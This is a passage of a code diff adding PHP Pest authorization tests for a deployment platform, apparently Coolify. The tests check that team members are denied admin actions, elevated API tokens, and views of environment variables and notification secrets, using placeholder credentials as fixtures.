+    $unlocked = $envs->firstWhere('key', 'UNLOCKED_VAR');
+
+    expect($locked)->not->toBeNull();
+    expect($locked)->not->toHaveKey('value');
+    expect($locked)->not->toHaveKey('real_value');
+
+    expect($unlocked)->not->toBeNull();
+    expect($unlocked)->toHaveKey('value');
+});
+
+test('API hides locked env value with root token', function () {
+    session(['currentTeam' => $this->team]);
+    $token = $this->admin->createToken('admin-root', ['root']);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$token->plainTextToken,
+    ])->getJson("/api/v1/applications/{$this->application->uuid}/envs");
+
+    $response->assertOk();
+
+    $envs = collect($response->json());
+    $locked = $envs->firstWhere('key', 'LOCKED_VAR');
+
+    expect($locked)->not->toBeNull();
+    expect($locked)->not->toHaveKey('value');
+    expect($locked)->not->toHaveKey('real_value');
+});
+
+// --- API: member role hides env values ---
+
+test('API hides env values for member even with read:sensitive token', function () {
+    session(['currentTeam' => $this->team]);
+    $token = $this->member->createToken('member-sensitive', ['read', 'read:sensitive']);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$token->plainTextToken,
+    ])->getJson("/api/v1/applications/{$this->application->uuid}/envs");
+
+    $response->assertOk();
+
+    $envs = collect($response->json());
+    $unlocked = $envs->firstWhere('key', 'UNLOCKED_VAR');
+
+    expect($unlocked)->not->toBeNull();
+    expect($unlocked)->not->toHaveKey('value');
+    expect($unlocked)->not->toHaveKey('real_value');
+});
+
+test('API shows env values for admin with read:sensitive token', function () {
+    session(['currentTeam' => $this->team]);
+    $token = $this->admin->createToken('admin-sensitive-2', ['read', 'read:sensitive']);
+
+    $response = $this->withHeaders([
+        'Authorization' => 'Bearer '.$token->plainTextToken,
+    ])->getJson("/api/v1/applications/{$this->application->uuid}/envs");
+
+    $response->assertOk();
+
+    $envs = collect($response->json());
+    $unlocked = $envs->firstWhere('key', 'UNLOCKED_VAR');
+
+    expect($unlocked)->not->toBeNull();
+    expect($unlocked)->toHaveKey('value');
+});

tests/Feature/Authorization/LegacyMemberTokenTest.php

@@ -0,0 +1,127 @@
+<?php
+
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::create(['id' => 0, 'is_api_enabled' => true]);
+
+    $this->team = Team::factory()->create();
+    $this->member = User::factory()->create();
+    $this->admin = User::factory()->create();
+
+    $this->team->members()->attach($this->member->id, ['role' => 'member']);
+    $this->team->members()->attach($this->admin->id, ['role' => 'admin']);
+
+    session(['currentTeam' => $this->team]);
+});
+
+function apiRequest($test, string $token, string $method = 'get', string $url = '/api/v1/version')
+{
+    return $test->withHeaders([
+        'Authorization' => 'Bearer '.$token,
+        'Content-Type' => 'application/json',
+    ])->{$method.'Json'}($url);
+}
+
+describe('member with legacy elevated token is rejected', function () {
+    test('member with legacy write token gets 403 with descriptive message', function () {
+        $token = $this->member->createToken('legacy-write', ['read', 'write']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $response->assertJsonFragment([
+            'message' => 'This API token has permissions (write) that exceed your current role as a team member. Members are restricted to read-only API access. Please revoke this token and create a new one with only read permissions.',
+        ]);
+    });
+
+    test('member with legacy deploy token gets 403', function () {
+        $token = $this->member->createToken('legacy-deploy', ['read', 'deploy']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $response->assertSee('deploy');
+        $response->assertSee('revoke this token');
+    });
+
+    test('member with legacy root token gets 403', function () {
+        $token = $this->member->createToken('legacy-root', ['root']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $response->assertSee('root');
+    });
+
+    test('member with legacy read:sensitive token gets 403', function () {
+        $token = $this->member->createToken('legacy-sensitive', ['read', 'read:sensitive']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $response->assertSee('read:sensitive');
+    });
+
+    test('member with legacy write:sensitive token gets 403', function () {
+        $token = $this->member->createToken('legacy-ws', ['read', 'write:sensitive']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $response->assertSee('write:sensitive');
+    });
+
+    test('member with multiple disallowed abilities lists them all', function () {
+        $token = $this->member->createToken('legacy-multi', ['read', 'write', 'deploy', 'read:sensitive']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(403);
+        $json = $response->json();
+        expect($json['message'])->toContain('write');
+        expect($json['message'])->toContain('deploy');
+        expect($json['message'])->toContain('read:sensitive');
+    });
+});
+
+describe('member with read-only token passes through', function () {
+    test('member with read token can access read endpoints', function () {
+        $token = $this->member->createToken('read-only', ['read']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(200);
+    });
+});
+
+describe('admin with elevated token passes through', function () {
+    test('admin with write token is not blocked', function () {
+        $token = $this->admin->createToken('admin-write', ['read', 'write']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(200);
+    });
+
+    test('admin with root token is not blocked', function () {
+        $token = $this->admin->createToken('admin-root', ['root']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(200);
+    });
+
+    test('admin with deploy token is not blocked', function () {
+        $token = $this->admin->createToken('admin-deploy', ['read', 'deploy']);
+
+        $response = apiRequest($this, $token->plainTextToken);
+
+        $response->assertStatus(200);
+    });
+});

tests/Feature/Authorization/NavbarDeleteTeamAuthorizationTest.php

@@ -0,0 +1,46 @@
+<?php
+
+use App\Livewire\NavbarDeleteTeam;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->owner = User::factory()->create();
+    $this->personalTeam = $this->owner->teams()->first();
+    $this->owner->teams()->updateExistingPivot($this->personalTeam->id, ['role' => 'owner']);
+
+    $this->teamToDelete = Team::create(['name' => 'Deletable Team', 'personal_team' => false]);
+    $this->teamToDelete->members()->attach($this->owner->id, ['role' => 'owner']);
+
+    $this->member = User::factory()->create();
+    $this->teamToDelete->members()->attach($this->member->id, ['role' => 'member']);
+});
+
+test('owner can delete team via navbar', function () {
+    $this->actingAs($this->owner);
+    session(['currentTeam' => $this->teamToDelete]);
+
+    Livewire::test(NavbarDeleteTeam::class)
+        ->call('delete', 'password')
+        ->assertRedirect(route('team.index'));
+
+    expect(Team::find($this->teamToDelete->id))->toBeNull();
+});
+
+test('member cannot delete team via navbar', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->teamToDelete]);
+
+    Livewire::test(NavbarDeleteTeam::class)
+        ->call('delete', 'password')
+        ->assertDispatched('error');
+
+    expect(Team::find($this->teamToDelete->id))->not->toBeNull();
+});

tests/Feature/Authorization/NotificationAuthorizationTest.php

@@ -0,0 +1,384 @@
+<?php
+
+use App\Livewire\Notifications\Discord as DiscordNotification;
+use App\Livewire\Notifications\Email as EmailNotification;
+use App\Livewire\Notifications\Pushover as PushoverNotification;
+use App\Livewire\Notifications\Slack as SlackNotification;
+use App\Livewire\Notifications\Telegram as TelegramNotification;
+use App\Livewire\Notifications\Webhook as WebhookNotification;
+use App\Models\InstanceSettings;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], ['id' => 0]));
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+});
+
+// --- Discord ---
+
+test('member cannot send test notification on discord', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->discordNotificationSettings;
+    $settings->update([
+        'discord_enabled' => true,
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/test',
+    ]);
+
+    Livewire::test(DiscordNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});
+
+test('member cannot update discord notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(DiscordNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('admin can update discord notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->discordNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Slack ---
+
+test('member cannot send test notification on slack', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->slackNotificationSettings;
+    $settings->update([
+        'slack_enabled' => true,
+        'slack_webhook_url' => 'https://hooks.slack.com/services/test',
+    ]);
+
+    Livewire::test(SlackNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});
+
+test('member cannot update slack notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(SlackNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('admin can update slack notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->slackNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Telegram ---
+
+test('member cannot send test notification on telegram', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->telegramNotificationSettings;
+    $settings->update([
+        'telegram_enabled' => true,
+        'telegram_token' => 'test-token',
+        'telegram_chat_id' => '123456',
+    ]);
+
+    Livewire::test(TelegramNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});
+
+test('member cannot update telegram notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(TelegramNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('admin can update telegram notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->telegramNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Email ---
+
+test('member cannot send test email notification', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->emailNotificationSettings;
+    $settings->update([
+        'smtp_enabled' => true,
+        'smtp_host' => 'localhost',
+        'smtp_port' => 587,
+        'smtp_from_address' => 'test@test.com',
+        'smtp_from_name' => 'Test',
+    ]);
+
+    Livewire::test(EmailNotification::class)
+        ->call('sendTestEmail')
+        ->assertDispatched('error');
+});
+
+test('member cannot update email notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(EmailNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('member cannot update smtp email transport directly', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(EmailNotification::class)
+        ->set('smtpFromAddress', 'member@example.com')
+        ->set('smtpFromName', 'Member')
+        ->set('smtpHost', 'smtp.example.com')
+        ->set('smtpPort', '587')
+        ->set('smtpEncryption', 'starttls')
+        ->set('smtpPassword', 'member-smtp-password')
+        ->call('submitSmtp')
+        ->assertForbidden();
+});
+
+test('member cannot update resend email transport directly', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(EmailNotification::class)
+        ->set('smtpFromAddress', 'member@example.com')
+        ->set('smtpFromName', 'Member')
+        ->set('resendApiKey', 'member-resend-api-key')
+        ->call('submitResend')
+        ->assertForbidden();
+});
+
+test('member cannot copy instance email settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(EmailNotification::class)
+        ->call('copyFromInstanceSettings')
+        ->assertForbidden();
+});
+
+test('admin can update email notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->emailNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Pushover ---
+
+test('member cannot send test notification on pushover', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->pushoverNotificationSettings;
+    $settings->update([
+        'pushover_enabled' => true,
+        'pushover_app_token' => 'test-token',
+        'pushover_user_key' => 'test-user-key',
+    ]);
+
+    Livewire::test(PushoverNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});
+
+test('member cannot update pushover notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(PushoverNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('admin can update pushover notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->pushoverNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Webhook ---
+
+test('member cannot send test notification on webhook', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->webhookNotificationSettings;
+    $settings->update([
+        'webhook_enabled' => true,
+        'webhook_url' => 'https://example.com/webhook',
+    ]);
+
+    Livewire::test(WebhookNotification::class)
+        ->call('sendTestNotification')
+        ->assertDispatched('error');
+});
+
+test('member cannot update webhook notification settings', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(WebhookNotification::class)
+        ->call('syncData', true)
+        ->assertForbidden();
+});
+
+test('admin can update webhook notification settings', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $settings = $this->team->webhookNotificationSettings;
+
+    expect($this->admin->can('update', $settings))->toBeTrue();
+});
+
+// --- Send test policy checks ---
+
+test('admin can send test on all notification channels', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect($this->admin->can('sendTest', $this->team->discordNotificationSettings))->toBeTrue();
+    expect($this->admin->can('sendTest', $this->team->slackNotificationSettings))->toBeTrue();
+    expect($this->admin->can('sendTest', $this->team->telegramNotificationSettings))->toBeTrue();
+    expect($this->admin->can('sendTest', $this->team->emailNotificationSettings))->toBeTrue();
+    expect($this->admin->can('sendTest', $this->team->pushoverNotificationSettings))->toBeTrue();
+    expect($this->admin->can('sendTest', $this->team->webhookNotificationSettings))->toBeTrue();
+});
+
+test('member cannot send test on any notification channel', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect($this->member->can('sendTest', $this->team->discordNotificationSettings))->toBeFalse();
+    expect($this->member->can('sendTest', $this->team->slackNotificationSettings))->toBeFalse();
+    expect($this->member->can('sendTest', $this->team->telegramNotificationSettings))->toBeFalse();
+    expect($this->member->can('sendTest', $this->team->emailNotificationSettings))->toBeFalse();
+    expect($this->member->can('sendTest', $this->team->pushoverNotificationSettings))->toBeFalse();
+    expect($this->member->can('sendTest', $this->team->webhookNotificationSettings))->toBeFalse();
+});
+
+test('member cannot view notification secrets', function (string $component, string $settingsRelation, array $secrets) {
+    $settings = $this->team->{$settingsRelation};
+    $settings->update($secrets);
+
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $componentTest = Livewire::test($component);
+
+    foreach ($secrets as $column => $value) {
+        $property = str($column)->camel()->toString();
+
+        $componentTest
+            ->assertSet($property, null)
+            ->assertDontSee($value);
+    }
+
+    $componentTest->assertSee('Hidden (only admins can view)');
+})->with([
+    'discord webhook' => [DiscordNotification::class, 'discordNotificationSettings', [
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/secret-member',
+    ]],
+    'slack webhook' => [SlackNotification::class, 'slackNotificationSettings', [
+        'slack_webhook_url' => 'https://hooks.slack.com/services/secret-member',
+    ]],
+    'telegram token and chat id' => [TelegramNotification::class, 'telegramNotificationSettings', [
+        'telegram_token' => 'telegram-secret-token',
+        'telegram_chat_id' => 'telegram-secret-chat',
+    ]],
+    'pushover credentials' => [PushoverNotification::class, 'pushoverNotificationSettings', [
+        'pushover_user_key' => 'pushover-secret-user',
+        'pushover_api_token' => 'pushover-secret-token',
+    ]],
+    'generic webhook' => [WebhookNotification::class, 'webhookNotificationSettings', [
+        'webhook_url' => 'https://example.com/secret-webhook',
+    ]],
+    'email credentials' => [EmailNotification::class, 'emailNotificationSettings', [
+        'smtp_password' => 'smtp-secret-password',
+        'resend_api_key' => 'resend-secret-api-key',
+    ]],
+]);
+
+test('admin can view notification secrets', function (string $component, string $settingsRelation, array $secrets) {
+    $settings = $this->team->{$settingsRelation};
+    $settings->update($secrets);
+
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $componentTest = Livewire::test($component);
+
+    foreach ($secrets as $column => $value) {
+        $property = str($column)->camel()->toString();
+
+        $componentTest->assertSet($property, $value);
+    }
+})->with([
+    'discord webhook' => [DiscordNotification::class, 'discordNotificationSettings', [
+        'discord_webhook_url' => 'https://discord.com/api/webhooks/secret-admin',
+    ]],
+    'slack webhook' => [SlackNotification::class, 'slackNotificationSettings', [
+        'slack_webhook_url' => 'https://hooks.slack.com/services/secret-admin',
+    ]],
+    'telegram token and chat id' => [TelegramNotification::class, 'telegramNotificationSettings', [
+        'telegram_token' => 'telegram-admin-token',
+        'telegram_chat_id' => 'telegram-admin-chat',
+    ]],
+    'pushover credentials' => [PushoverNotification::class, 'pushoverNotificationSettings', [
+        'pushover_user_key' => 'pushover-admin-user',
+        'pushover_api_token' => 'pushover-admin-token',
+    ]],
+    'generic webhook' => [WebhookNotification::class, 'webhookNotificationSettings', [
+        'webhook_url' => 'https://example.com/admin-webhook',
+    ]],
+    'email credentials' => [EmailNotification::class, 'emailNotificationSettings', [
+        'smtp_password' => 'smtp-admin-password',
+        'resend_api_key' => 'resend-admin-api-key',
+    ]],
+]);

tests/Feature/Authorization/ProjectEnvironmentAuthorizationTest.php

@@ -0,0 +1,55 @@
+<?php
+
+use App\Livewire\Project\Show;
+use App\Models\Environment;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+});
+
+test('admin can create environment in project', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Show::class, ['project_uuid' => $this->project->uuid])
+        ->set('name', 'staging')
+        ->call('submit')
+        ->assertRedirect();
+
+    expect(Environment::where('name', 'staging')->exists())->toBeTrue();
+});
+
+test('member cannot create environment in project', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(Show::class, ['project_uuid' => $this->project->uuid])
+        ->set('name', 'staging')
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(Environment::where('name', 'staging')->exists())->toBeFalse();
+});

tests/Feature/Authorization/ResourceCreationAuthorizationTest.php

@@ -0,0 +1,133 @@
+<?php
+
+use App\Http\Middleware\CanCreateResources;
+use App\Livewire\Project\New\DockerCompose;
+use App\Livewire\Project\New\PublicGitRepository;
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Http\Request;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+use Symfony\Component\HttpKernel\Exception\HttpException;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    config([
+        'app.maintenance.store' => 'array',
+        'cache.default' => 'array',
+    ]);
+
+    InstanceSettings::query()->forceCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+});
+
+test('member cannot pass create resources middleware', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $middleware = new CanCreateResources;
+    $request = Request::create('/project/new', 'GET');
+
+    expect(fn () => $middleware->handle($request, fn () => response('ok')))
+        ->toThrow(HttpException::class, 'You do not have permission to create resources.');
+});
+
+test('admin can pass create resources middleware', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $middleware = new CanCreateResources;
+    $request = Request::create('/project/new', 'GET');
+    $response = $middleware->handle($request, fn () => response('ok'));
+
+    expect($response->getStatusCode())->toBe(200);
+});
+
+test('member cannot create docker compose service through livewire action', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(DockerCompose::class)
+        ->set('parameters', [
+            'project_uuid' => $this->project->uuid,
+            'environment_uuid' => $this->environment->uuid,
+        ])
+        ->set('query', ['destination' => $this->destination->uuid])
+        ->set('dockerComposeRaw', <<<'YAML'
+services:
+  app:
+    image: alpine
+YAML)
+        ->call('submit')
+        ->assertDispatched('error');
+
+    expect(Service::query()->count())->toBe(0);
+});
+
+test('public git docker compose creates an application in local mode', function () {
+    config(['app.env' => 'local']);
+
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(PublicGitRepository::class)
+        ->set('parameters', [
+            'project_uuid' => $this->project->uuid,
+            'environment_uuid' => $this->environment->uuid,
+        ])
+        ->set('query', ['destination' => $this->destination->uuid])
+        ->set('repository_url', 'https://github.com/coollabsio/coolify')
+        ->set('git_repository', 'https://github.com/coollabsio/coolify')
+        ->set('git_branch', 'main')
+        ->set('build_pack', 'dockercompose')
+        ->set('new_compose_services', true)
+        ->call('submit');
+
+    expect(Application::query()->count())->toBe(1)
+        ->and(Service::query()->count())->toBe(0);
+});

tests/Feature/Authorization/ResourceHeadingAuthorizationTest.php

@@ -0,0 +1,248 @@
+<?php
+
+use App\Livewire\Project\Application\Heading as ApplicationHeading;
+use App\Livewire\Project\Service\Heading as ServiceHeading;
+use App\Models\Application;
+use App\Models\InstanceSettings;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\StandaloneDocker;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use App\Models\User;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\DB;
+use Illuminate\Support\Str;
+use Livewire\Livewire;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    InstanceSettings::updateOrCreate(['id' => 0]);
+
+    $this->team = Team::factory()->create();
+
+    $this->admin = User::factory()->create();
+    $this->admin->teams()->attach($this->team, ['role' => 'admin']);
+
+    $this->member = User::factory()->create();
+    $this->member->teams()->attach($this->team, ['role' => 'member']);
+
+    $keyId = DB::table('private_keys')->insertGetId([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Key',
+        'private_key' => 'test-key',
+        'team_id' => $this->team->id,
+        'created_at' => now(),
+        'updated_at' => now(),
+    ]);
+
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+        'private_key_id' => $keyId,
+    ]);
+
+    $this->server->settings()->update([
+        'is_reachable' => true,
+        'is_usable' => true,
+    ]);
+
+    StandaloneDocker::withoutEvents(function () {
+        $this->destination = StandaloneDocker::firstOrCreate(
+            ['server_id' => $this->server->id, 'network' => 'coolify'],
+            ['uuid' => (string) Str::uuid(), 'name' => 'test-docker']
+        );
+    });
+
+    $this->project = Project::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Project',
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = $this->project->environments()->first();
+
+    $this->application = Application::factory()->create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test App',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'status' => 'running',
+    ]);
+
+    $this->database = StandalonePostgresql::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test DB',
+        'postgres_user' => 'postgres',
+        'postgres_password' => 'password',
+        'postgres_db' => 'testdb',
+        'image' => 'postgres:15',
+        'status' => 'running',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+    ]);
+
+    $this->service = Service::create([
+        'uuid' => (string) Str::uuid(),
+        'name' => 'Test Service',
+        'environment_id' => $this->environment->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'docker_compose_raw' => 'version: "3"',
+    ]);
+
+    $this->serviceParams = [
+        'project_uuid' => $this->project->uuid,
+        'environment_uuid' => $this->environment->uuid,
+        'service_uuid' => $this->service->uuid,
+    ];
+
+    $this->databaseUrl = "/project/{$this->project->uuid}/environment/{$this->environment->uuid}/database/{$this->database->uuid}";
+});
+
+// --- Application Heading ---
+
+test('admin sees deploy controls for application', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->assertSee('Redeploy')
+        ->assertSee('Restart')
+        ->assertSee('Stop');
+});
+
+test('member cannot call deploy on application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('deploy')
+        ->assertDispatched('error');
+});
+
+test('member cannot call restart on application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('restart')
+        ->assertDispatched('error');
+});
+
+test('member cannot call stop on application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->call('stop')
+        ->assertDispatched('error');
+});
+
+test('member does not see terminal link for application', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->assertDontSee('Terminal');
+});
+
+test('admin sees terminal link for application', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ApplicationHeading::class, ['application' => $this->application])
+        ->assertSee('Terminal');
+});
+
+// --- Database Heading (via page route for rendering, policy checks for actions) ---
+
+test('admin can access database page', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    $this->get($this->databaseUrl)->assertSuccessful();
+});
+
+test('member can access database page', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    $this->get($this->databaseUrl)->assertSuccessful();
+});
+
+test('admin can manage database', function () {
+    expect($this->admin->can('manage', $this->database))->toBeTrue();
+});
+
+test('member cannot manage database', function () {
+    expect($this->member->can('manage', $this->database))->toBeFalse();
+});
+
+test('admin can access terminal for database', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeTrue();
+});
+
+test('member cannot access terminal for database', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    expect(auth()->user()->can('canAccessTerminal'))->toBeFalse();
+});
+
+// --- Service Heading ---
+
+test('admin sees service deploy button', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertSee('Deploy');
+});
+
+test('member cannot call stop on service', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->call('stop')
+        ->assertDispatched('error');
+});
+
+test('member does not see terminal link for service', function () {
+    $this->actingAs($this->member);
+    session(['currentTeam' => $this->team]);
+
+    Livewire::test(ServiceHeading::class, [
+        'service' => $this->service,
+        'parameters' => $this->serviceParams,
+        'query' => [],
+    ])
+        ->assertDontSee('Terminal');
+});
+
+test('admin sees terminal link for service', function () {
+    $this->actingAs($this->admin);
+    session(['currentTeam' => $this->team]);
+
